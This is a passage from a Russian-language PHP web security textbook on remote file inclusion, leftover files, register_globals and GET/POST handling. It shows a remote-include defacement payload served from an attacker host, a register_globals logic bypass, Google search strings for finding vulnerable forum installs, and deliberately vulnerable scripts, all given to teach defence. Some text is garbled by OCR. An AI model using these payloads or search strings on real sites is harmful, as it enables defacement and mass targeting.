Главная страница
Навигация по странице:

  • Ничего лишнего

  • Лишние сценарии на рабочем сервере

  • Дополнительные программы

  • Резервные копии или старые файлы

  • Автоматическая регистрация переменных

  • Листинг 3.3. Пример сценария передачи и получения параметров

  • Метод POST

  • Листинг 3.4. Пример передачи параметров методом POST

  • Листинг 3.5. Использование массивов для работы с параметрами

  • Листинг 3.6. Уязвимый к автоматической регистрации переменных сценарий

  • WEb практикум. Web'cepbep


    Скачать 4.76 Mb.
    НазваниеWeb'cepbep
    АнкорWEb практикум
    Дата22.01.2023
    Размер4.76 Mb.
    Формат файлаdocx
    Имя файлаWEB.docx
    ТипДокументы
    #898678
    страница5 из 18
    1   2   3   4   5   6   7   8   9   ...   18

    Hacked

    ' > index.html"));

    ?>

    Сохраняем этот код в файле deface.php и выполняем следующий URL: http://phpbook/param.php?file=http://www.hacker_website.com/deface.php. В файле deface.php выполняется следующая команда:

    echo '

    Hacked

    ' > index.html

    В результате файл index.html будет перезаписан строкой "<H1>HackedH1>". Если in­dex.html является главной web-страницей web-сайта, то при входе на web-сайт пользователь увидит надпись "Hacked" большими буквами.

    Удаленная работа в файлах — это конфигурируемая возможность PHP, которую можно включить или отключить. Есть два основных параметра, которые регулиру­ют доступ к удаленным файлам, находящимся не на локальном диске. Все парамет­ры, которые влияют на PHP, находятся в /etc/php.ini, и эти два не исключение:

    • all ow_url_f open — определяет, можно ли открывать и читать удаленные файлы. По умолчанию эта функция включена, но она позволит только отображать со­держимое, а не выполнять. В отображении тоже есть проблема — возможно ата­ка XSS, с которой мы пока еще не знакомы. Стоит ли отключить возможность работы с удаленными файлами? Тут все зависит от ситуации, если ваш код ра­ботает только с файлами на локальном диске, то лучше отключить;

    • all ow_url_include — по умолчанию эта опция отключена, и как раз она отвечает за то, можно ли с помощью include или require подключить PHP-код с удален­ных компьютеров. Лучше не включать этот параметр и при разработке web-кода воздержаться от работы с удаленными файлами. Они занимают не так много места и их можно копировать на каждый сервер. С точки зрения затрат на под­держку копирования файла на все сервера (если у вас их несколько), это не так уж долго и сложно.

    1. Ничего лишнего

    В своей карьере я сталкивался с тремя основными проблемами, которые можно от­нести к проблеме, которую я бы называл "ничего лишнего".

    1. Лишние сценарии на рабочем сервере

    У меня нет статистики того, как часто подобные вещи встречаются сейчас, мне ка­жется намного реже, но еще лет 10 назад я сталкивался с проблемой, когда на рабо­чие сервера устанавливались не только необходимые файлы, но и что-то тестовое. Хочется протестировать какой-то функционал? Его ставят прямо на рабочий сайт, и не факт, что это действительно нужно.

    Я сталкивался с тем, что на сайт могли поставить форум, чтобы просто протестиро­вать, и забывали о нем. Вроде бы он не используется на сайте, на него нигде нет ссылок, но он все же существует. Если сканировать сайт утилитами поиска уязви­мостей, то они могут проверить на наличие известных ему файлов форума, формы обратной связи или других сценариев, даже если нигде не указано, что они могут быть установлены.

    Неиспользуемые сценарии обычно не обновляют, в конце концов это может при­вести к печальным последствиям.

    Не могу сказать, что это частая проблема, но все же я сталкивался с такой си­туацией.

    1. Дополнительные программы

    На сервере могут быть установлены не только необходимые для работы сайта сце­нарии, но и дополнительные программы, которые позволяют производить монито­ринг, показывают администратору содержимое ошибок или каких-то других про­блем работы сайта.

    Отличие от предыдущего пункта в том, что в данном случае на web-сервере нахо­дятся нужные файлы сценариев и они могут быть даже защищены паролем. Но это все же дополнительная дверь.

    На моих сайтах тоже есть системы мониторинга, которые собирают информацию, но такие системы работают по принципу сопровождения (side car), когда приложе­ние по сборки метрики, статистики и информации о работе системы собирается от­дельным приложением, которое работает как бы параллельно основному сайту. Оно не должно быть доступно с того же адреса. Чтобы получить доступ к такому приложению я загружаю совершенно другой сайт, который находиться на отдель­ном сервере.

    Даже если в приложении, через которое я получаю доступ к метрике и данным по мониторингу будет уязвимость, доступ к основному сайту останется в безопасности.

    Такой подход имеет смысл, если работать над чем-то большим, а не просто домаш­ним сайтом. Для моего личного сайта строить что-то подобное смысла нет.

    Если вы не можете выделить отдельный сервер, то можно использовать один, но по возможности лучше ограничить доступ для определенного IP-адреса. Это можно сделать через .htaccess-файл, добавив примерно следующее ограничение:

    order deny,allow deny from all allow from XXX.XXX.XXX

    1. Резервные копии или старые файлы

    Программисты очень любят создавать резервные копии: например, если файл на­зывается index.php, то программист может сделать копию с именем index.bak или index.old. Такие файлы web-сервером не выполняются, и если ввести адрес http://servername/index.old, то хакер увидит исходный код зарезервированного файла. Да, его содержимое может немного устареть, потому что основной сценарий может содержать нововведения, но остается вероятность, что найденная ошибка будет присутствовать и в рабочей версии.

    Я сам когда-то регулярно создавал резервные копии, правда локально, на своем компьютере, хотя были случае и на рабочем сервере. Когда хочется что-то протес­тировать на сервере, но боишься все испортить, то перед внесением изменения очень удобно создать резервную копию. Если что-то пойдет не так, то просто сде­лать резервную копию рабочей и забыть.

    Это очень просто и удобно, но главное — сразу же удалять файл с резервной копи­ей, если тест прошел удачно и вы хотите оставить изменения. Если хакер получит доступ к исходному коду, то это упростит ему поиск уязвимостей и позволит найти даже то, что скрыто и сложно найти без исходников.

    Удаляйте неиспользуемые файлы и не создавайте резервных копий. Не раз видел скрипты доставки кода, которые не удаляют неиспользуемые файлы.

    У вас может быть какой-то сервер доставки кода, который будет публиковать при­ложение на рабочий сервер, где уже работает web-сайт. Процесс публикации может выполняться банальной командой копирования всех файлов:

    scp -r /path operatorname@website: path_on_server/

    Здесь:

    • scp — команда Linux (а точнее, семейства *nix операционных систем), которая копирует файлы или целую папку на сервер;

    • -r — копировать рекурсивно;

    • /path — путь на локальном компьютере, где расположены исходные коды сайта;

    • operatorname — имя пользователя, который будет использоваться для подклю­чения к удаленному серверу;

    • website — адрес web-сервера;

    • path_on_server — путь на сервере, куда нужно загрузить файлы.

    Но в этом случае файлы будут только добавляться на сервер. Если в приложении появился какой-то файл, который вы удалили локально, на сервере он останется, а каждый неиспользуемый файл может стать серьезной проблемой безопасности. Вы никогда не будете его сопровождать и если в файле есть какой-то старый код, то со временем может произойти что угодно. Конечно, все зависит от файла, но лучше все же убирать все, что не используется.

    Чуть более эффективным методом является rsync — команда умеет работать как классическое приложение командной строки или как сервис, а также позволяет ука­зать флаг -delete для удаления файлов с удаленной системы, если они удалены с локальной:

    rsync -avh —delete /path/ operatorname@website: path_on_server/

    Если вы хотите исключить какие-то файлы или подпапки из процесса копирования, то можно добавить флаг —exclude:

    —exclude=§aK№i или маска

    Этому параметру можно указать конкретные файлы, которые вы не хотите копиро­вать на сервер или маску типа bin/*.pdb, что значит не копировать на сервер файлы отладочной информации. Мы же уже договорились, что на сервере нужно делать только самое необходимое, и с помощью rsync мы можем настроить, что мы хотим копировать.

    1. Автоматическая регистрация переменных

    В PHP есть одна очень интересная возможность: автоматически создавать перемен­ные для входящих данных. Чтобы лучше понять эту тему, сначала нужно погово­рить о типах параметров.

    Параметры сценария можно получать различными методами, основные — это get, post и с помощью cookies Для всех из этих параметров могут автоматически созда­ваться переменные, если в файле настроек php.ini параметр register_ globals установлен в on. Мы рассмотрим опасность неверного использования заре­гистрированных переменных на примере параметров get и post.

    Эта уязвимость существовала в PHP до версии 5.4, после чего параметр reg- ister_globals был убран и больше не существует. И хотя проблема уже не актуаль­на для последней версии PHP, я все же хотел бы рассмотреть ее подробно, потому что она показательна и познавательна с точки зрения безопасности.

    Мы изучаем в школе историю не потому, что это модно, а потому что полезно знать ошибки прошлого, чтобы не повторять их в будущем.

    Практически на любом более-менее крупном web-сайте необходимо получать оп­ределенный ввод со стороны пользователя. Для этого на языке разметки HTML создаются формы, которые передают свое содержимое указанному файлу сценария. Следующий пример показывает, как создать форму ввода имени пользователя:



    Имя пользователя:



    У тега form нужно указать два параметра:

    • action — здесь мы должны указать имя файла сценария или полный URL к фай­лу, которому передаются параметры формы;

    • method — метод передачи. Существуют два метода передачи параметров: get и post. Вы должны четко понимать, как они работают и в чем разница, поэтому оба метода мы подробно рассмотрим чуть позже.

    Между тегами
    и
    можно создавать элементы управления, значения которых будут передаваться сценарию. В данном примере мы создали только одно поле ввода (тег input). Для примера в качестве имени поля ввода я указал "User­Name".

    Давайте посмотрим на примере, как можно увидеть введенное в web-форму поль­зователем имя. Самый простой вариант — это в файле param.php использовать пе­ременную $UserName. Да, мы такой переменной не создавали, но она создается ин­терпретатором автоматически перед запуском сценария.

    Чтобы увидеть, когда создается соответствующий параметр, давайте создадим файл param.php, который будет содержать форму и код обработки. Таким образом, пара­метры будут передаваться тому же сценарию, в котором вводятся данные. Пример такого сценария на языке PHP можно увидеть в листинге 3.3.

    Листинг 3.3. Пример сценария передачи и получения параметров





    form action="param.php" method="get">

    Имя пользователя:




    if ($UserName <> "")

    {

    print("
    Ваше имя пользователя: "); print("$UserName");

    }

    ?>





    Если загрузить эту форму в браузере, то переменная $UserName будет пустой, пото­му что еще не было передачи параметров и интерпретатор ничего не создавал. Если ввести имя пользователя и нажать клавишу , то содержимое формы будет перезагружено, но теперь переменная $UserName будет содержать введенное пользо­вателем имя. Таким образом можно сделать проверку: если переменная не пустая, то форма получила параметр и можно его обрабатывать. В нашем примере мы просто выводим на экран введенное имя.

    С помощью форм можно передавать и скрытые параметры. Например, помимо имени пользователя вы хотите передавать еще какое-то значение, которое не долж­но быть видно в форме. Для этого вы можете захотеть создать невидимое поле вво­да. Например, в следующей форме есть два поля ввода: UserName и Password, но вто­рое поле не будет видимо, потому что у поля указан параметр type (тип), которому присвоено значение hidden (невидимый):



    User Name:







    Поле Password невидимо, но содержит значение. Таким образом можно передавать от сценария к сценарию определенные данные. Теперь после передачи параметров у сценария param.php будут две переменные $UserName и $Password с установленны­ми значениями.

    Никогда не передавайте таким образом важные данные. Скрытые поля всегда при­влекают внимание хакеров. Несмотря на то, что поле пароля невидимо на форме, любой браузер позволяет просмотреть исходный код HTML-формы. Например, в Internet Explorer для этого нужно выбрать меню View (Вид ) | Source (Источник). Любой хакер сможет увидеть этот параметр в исходном коде, а если надо, то и из­менить. Для изменения исходный код сценария сохраняется на локальном диске пользователя, изменяется параметр (если надо, то изменяется поле action формы на полный URL) и выполняется запрос к web-серверу. Если вы не знаете, какие дан­ные важные, а какие нет, то не используйте этот метод вообще.

    Через автоматическую регистрацию переменных можно повлиять на переменные, которые не должны были бы передаваться на сервер. Например:

    if ($isvalid == 1)

    {

    SaveData() ;

    }

    Если переменная $isvalid равна 1, то происходит сохранение данных в базу. Как переменная стала равна единице этому сценарию все равно. Если хакер загрузит URL:

    /scrupt.php?isvalid=1

    то это приведет к автоматическому созданию переменной с именем isvalid, рав­ной 1, что приведет к вызову метода SaveData.

    Таким образом можно влиять на логику выполнения программы и вызвать методы, которые могли быть запрещены для вызова без авторизации.

    Теперь поговорим подробнее о методах передачи параметров. Как мы уже знаем, их два — get и post. В обоих случаях интерпретатор создает переменные с такими же именами, но различия в методах есть.

    1. Метод GET

    Начнем с метода get. Все параметры, которые передаются сценарию, помещаются в глобальные переменные. Помимо этого, они помещаются в массив $http_get_vars. Чтобы не писать такое длинное имя массива, можно использовать имя $_get. Но и это еще не все. Пользователь может видеть параметры в строке URL. Напри­мер, после выполнения примера с передачей имени и пароля URL изменится на: http://192.168.77.1/param.php?UserName=Flenov&Password=qwerty. Здесь

    192.168.77.1 — это адрес моего компьютера, на котором я тестирую примеры для этой книги. Иногда вы можете видеть имя, но с тем же успехом можно использо­вать и адрес, разницы тут нет.

    После адреса идет символ вопроса, а затем перечисляются параметры в виде имя= значение.
    Параметры разделены между собой символом амперсанда &.

    Как вы думаете, является ли этот метод безопасным? Совершенно нет. Хакеру дос­таточно просто будет изменить любой параметр вручную и подобрать его даже без изменения исходного кода формы для отправки параметров. Эта информация со­храняется и отображается в открытом виде во всех системах журналирования.

    Вторая проблема такого метода — открытость. Опять же, рассмотрим пример с па­ролем. Если пользователь ввел пароль и зашел в защищенную область web-сайта, то этот пароль будет находиться в строке URL. Любой мимо проходящий человек сможет без проблем увидеть эту строку и пароль.

    Никогда не передавайте важные данные методом get, в этом случае лучше исполь­зовать метод post. Но это не значит, что метод get не нужен совсем, просто к нему нужно подходить с особой осторожностью и проверять любые данные, которые получены этим способом.

    Когда нужно использовать get:

    • когда вы точно уверены, что через параметры не передаются важные данные;

    • когда это действительно удобно и/или необходимо.

    Когда может возникнуть необходимость? Простейший вариант: пользователь дол­жен иметь возможность напрямую обратиться к web-странице без предварительно­го ввода параметров в отдельной форме.

    Допустим, мы хотим, чтобы при обращении к серверу он точно загружал опреде­ленный контент. Например, если пользователь передает на сайт номер новости, ко­торую хочет увидеть, то она должна быть в URL, а если это информация, которая должна просто сохраниться в базе данных, то эти данные точно должны быть в POST -параметрах.

    Метод get часто используется в партнерских программах. Допустим, что вы зареги­стрировались в качестве партнера магазина Amazon (www.amazon.com) и должны получать проценты от заказов товаров, сделанных по ссылке с вашего web-сайта. Как магазин узнает, что покупатель пришел именно по вашей ссылке? Самый простой пример — разместить на своем web-сайте ссылку на Amazon, в котором был бы параметр в формате get, идентифицирующий вас, например www.amazon.com?partner=flenov. В сценарии на web-сервере Amazon проверяется, если параметр partner содержит имя зарегистрированного партнера, то отчислять на его счет процент от заказанных товаров. (Внимание, это только пример, который никак не связан с реальным положением дела в работе с партнерами Amazon.)

    Метод GET слишком прост и позволяет хакеру легко использовать URL для поиска уязвимых мест в ваших сценариях.

    Чем еще страшны запросы get? Проблема кроется в поисковых системах, особенно в мощности поисковой системы Google. Нет, я не против такой мощи, потому что она необходима, но чтобы ваш web-сайт не оказался под угрозой, необходимо учи­тывать все возможные проблемы.

    Но хватит общих слов, давайте рассмотрим этот вопрос повнимательнее. Допустим, вы узнали, что в какой-либо системе управления web-сайтом появилась уязвимость. Что это за система? Существует множество платных и бесплатных готовых про­грамм, написанных на PHP, Perl и других языках и позволяющих создать web-сайт без особых усилий. Такие системы могут включать в себя готовые реализации фо­румов, гостевых книг, лент новостей и т. д. Например, phpBB или ikonboard, кото­рые очень широко распространены в интернете.

    Если в какой-нибудь из таких специальных программ найдена критическая уязви­мость и о ней узнали хакеры, то все web-сайты в интернете, использующие ее, под­вергаются опасности. Большинство администраторов не подписаны на новости и не обновляют используемые на web-сервере файлы сценариев, поэтому остается толь­ко найти нужный web-сайт и воспользоваться готовым решением для осуществле­ния взлома.

    Как найти web-сайты или форумы, которые содержат уязвимость? Очень просто. Чаще всего сценарий жертвы можно определить по URL. Например, когда вы про­сматриваете на web-сайте www.sitename.ru раздел форума, использующего в каче­стве движка Invision Power Board, то строка адреса содержит следующий код: http://www.sitename.ru/index.php?showforum=4

    Текст "index.php?showfomm=" будет встречаться на любом web-сайте, использую­щем для форума Invision Power Board. Чтобы найти web-сайты, содержащие в URL данный текст, нужно выполнить в поисковой системе Google следующий запрос:

    inurl:index.php?showforum

    Могут быть и другие программы, которые используют этот текст. Чтобы отбросить их, нужно еще добавить поиск какого-нибудь фрагмента из web-страниц. Напри­мер, по умолчанию внизу каждой web-страницы форума есть подпись "Powered by Invision Power Board(U)". Конечно же, администратор может изменить надпись, но в большинстве случаев ее не трогают. Именно такой текст можно добавить в строку поиска, и тогда результатом будут только web-страницы нужного нам форума. По­пробуйте выполнить следующий запрос:

    Powered by Invision Power Board(U) inurl:index.php?showforum

    Вы увидите, сколько сайтов реализовано на этом сценарии. Теперь если появится уязвимость в Invision Power Board, то вы легко найдете жертву. Далеко не все ад­министраторы успеют ликвидировать ошибки, а некоторые вообще не будут их исправлять.

    И все же метод get необходим. Большинство web-сайтов состоит не более чем из 10 файлов сценариев, которые отображают данные на web-странице, в зависимости от выбора пользователя. Например, взглянем на все тот же URL форума: http://www.sitename.ru/index.php?showforum=4. В данном случае вызывается сце­нарий index.php, а в качестве параметра передается showforum и число "4". Даже не зная исходного кода сценария, можно догадаться, что файл сценария должен пока­зать на web-странице форум, который идентифицирован в базе данных под номе­ром 4. В зависимости от номера форума web-страница будет выглядеть по-разному.

    А теперь представим, что номер форума будет передаваться с помощью метода post. В этом случае, какую бы web-страницу форума вы ни просматривали, URL будет выглядеть одинаково: http://www.sitename.ru/index.php. Значит, пользова­тель не сможет создать закладку на нужную web-страницу.

    Получается, что методом get нужно передавать и такие параметры, которые смо­гут однозначно идентифицировать web-страницу, но при этом нельзя нарушать правила, что данные должны быть безопасными и не должны содержать важных сведений.

    Сейчас принято вместо явных параметров после символа вопроса использовать не­явные параметры по шаблону, которые разделяются в строке адреса слешами. На­пример один из адресов на моем сайте: https://www.flenov.info/books/show/linux- glazami-hakera.

    Если разбить его на составляющие, по слешу, то получается три параметра:

    • books — это имя сценария на сайте, который нужно вызвать;

    • show — команда, которую нужно выполнить в этом сценарии;

    • linux-glazami-hakera — параметр, содержащий название книги "Linux глазами хакера". Именно ее содержимое я хочу отобразить. Это параметр со всеми выте­кающими последствиями, потому что он подвержен тем же проблемам, что и любой другой параметр, который указывают после символа вопроса через знак равенства.

    Форматированный слешами адрес лучше с точки зрения продвижения сайта в по­исковых системах, и здесь нет имен, которые бы упростили идентификацию движ­ка. Сколько еще сайтов использует такой формат books/show? Кто угодно может так именовать адрес, и нет ничего уникального в именах.

    1. Метод POST

    Механизм использования метода post на сервере ничем не отличается от get. Доста­точно только поменять имя метода формы, и ваш PHP-код будет работать без внесе­ния дополнительных корректировок, если вы использовали для доступа к параметрам глобальные переменные, а не массив $http_get_vars (для post используется другой массив). Рассмотренный ранее пример, использующий метод get, при использовании метода post будет выглядеть следующим образом:



    User Name:







    При использовании метода posT в тело запроса попадают и все параметры в виде пар "имя=значение". Помимо этого, значения переменных и их имена попа­дают в массив $http_post_vars. Чтобы не писать такое длинное имя, можно исполь­зовать псевдоним $_post.

    Несмотря на то, что параметры не видны в строке URL, проблема не решается пол­ностью. Допустим, что вы разрешили использовать глобальные переменные и ис­пользуете их для доступа к параметрам, как показано в листинге 3.4. Сохраните этот код в файле с именем postparam.php.

    Листинг 3.4. Пример передачи параметров методом POST



    User Name:






    if ($UserName<>"")

    {

    print("
    Ваше имя пользователя: "); print("$UserName") ; print("
    Пароль: $Password");

    }

    ?>

    В этом примере параметры передаются из формы методом post. Но несмотря на это, мы можем выполнить запрос следующего вида: http://192.168.77.1/

    postparam.php?UserName=Flenov&Password=qwerty.

    То есть мы передаем параметры, как это делается при методе get, и при этом сце­нарий отработает верно. Почему? Проблема кроется в глобальных переменных, ко­торые не разбираются, какой метод мы используем, и не зависят от него. В этом отношении использование массивов $http_post_vars и $http_get_vars более безо­пасно, потому что они привязаны к методу. Если бы мы обрабатывали параметры с помощью массива $http_post_vars, то попытка передать параметры методом get завершилась бы неудачей, потому что такие параметры попадают в другой массив $http_get_vars.

    Если использовать массивы $http_post_vars и $http_get_vars и полностью запре­тить автоматическую регистрацию переменных, то хакер не сможет повлиять на значение переменных, которые не передавались в качестве параметров и не хотели этого делать.

    В листинге 3.5 показано, как можно получить доступ к параметрам через массивы, а также запретить передачу параметров через строку URL, то есть методом get. Ес­ли массив $http_get_vars не пустой, то выполнение цикла прерывается с сообще­нием о неверном параметре.

    Листинг 3.5. Использование массивов для работы с параметрами



    User Name:




    if (count ($HTTP_GET_V.ARS) >0)

    {

    die("HeBepHbM параметр");

    }

    if ($HTTP_POST_VARS["UserName"]<>"")

    {

    print("
    Ваше имя пользователя: "); print($HTTP_POST_VARS["UserName"]) ; print("
    Ваш пароль: "); print($HTTP_POST_VARS["Password"]);

    }

    ?>

    Значение кнопки также попадает в переменную. До этого мы всегда направляли данные web-серверу с помощью нажатия клавиши , но в реальных програм­мах лучше будет, если пользователь увидит на web-странице кнопку отправки — например, Submit или Go:



    User Name:








    if ($sub="Go")

    {

    print ("

    Submitted : $Submit") ;

    }

    ?>

    При этом вы должны учитывать, что название кнопки в сценарии не изменяется. Даже при первой загрузке web-страницы, до того, как пользователь нажал кнопку отправки данных, значение уже равно "Go".

    Несмотря на то, что при использовании метода post параметры не видны в строке URL, не стоит забывать, что эти параметры небезопасны. Такие данные также можно модифицировать, просто требуется чуть больше стараний, но это не остано­вит хакера. Одноразовое изменение параметра post можно сделать с помощью ути­лит разработчика браузера, где можно поменять содержимое страницы. Если нужно многоразовое изменение, то можно написать скрипт для использования post на ка­ком-нибудь языке программирования. На Python это не так уж и сложно.

    Методы post необходимы, когда вы передаете параметры, но не хотите, чтобы они отображались в строке URL, чтобы посторонний не смог их прочитать с экрана мо­нитора. Но при этом вы должны уделять этим параметрам не меньше внимания и проверять на любые отклонения и недопустимые символы.


    1. Уязвимость

    Теперь посмотрим, как хакер может использовать автоматическую регистрацию переменных в своих корыстных целях. Допустим, что у нас есть сценарий, приве­денный в листинге 3.6.

    Листинг 3.6. Уязвимый к автоматической регистрации переменных сценарий


    function checkparam($var)

    {

    $var=preg_replace(''/[Aa-z]/i", "", $var); return $var;

    }

    if (isset($_GET['file' ]))

    {

    $_GET['file'] = checkparam($_GET['file']);

    $_GET['dir'] = checkparam($_GET['dir']);

    }

    ?>







    1   2   3   4   5   6   7   8   9   ...   18


    написать администратору сайта